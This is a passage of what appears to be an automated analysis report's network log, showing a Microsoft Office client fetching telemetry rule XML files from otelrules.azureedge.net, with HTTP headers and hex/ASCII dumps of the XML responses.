65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:18 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:18 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: c3894769-401e-0016-1ebf-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045318Z-159b85dff8f2qnk7hC1DFWwa24000000011000000000f9fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:18 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:18 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045318Z-16849878b7867ttgfbpnfxt44s0000000abg00000000g46d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:18 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:18 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d6c962a3-601e-0050-3d78-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045318Z-17c5cb586f6tg7hbbt0rp19dan00000002wg000000003s6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:18 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045318Z-16849878b78km6fmmkbenhx76n00000009xg000000006wxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:19 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045319Z-16849878b78smng4k6nq15r6s40000000c2000000000a22p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:19 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045319Z-16849878b787bfsh7zgp804my400000009cg00000000650s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:19 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:19 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 93439f28-801e-00ac-63f6-2afd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045319Z-15b8d89586fpccrmgpemqdqe5800000005b000000000cf3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:19 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:19 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f7be3db-a01e-0032-5e10-2b1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045319Z-15b8d89586fvk4kmbg8pf84y880000000bfg00000000563r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:19 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:20 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045320Z-16849878b7898p5f6vryaqvp580000000bbg00000000d9t2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:20 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:20 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 2a2a4067-101e-005a-6698-2b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045320Z-17c5cb586f62tvgppdugz3gsrn00000001d000000000a33g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:20 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:20 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: df60bdc9-601e-0001-126b-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045320Z-17c5cb586f6zcqf8r7the4ske000000002w0000000007w46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:20 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
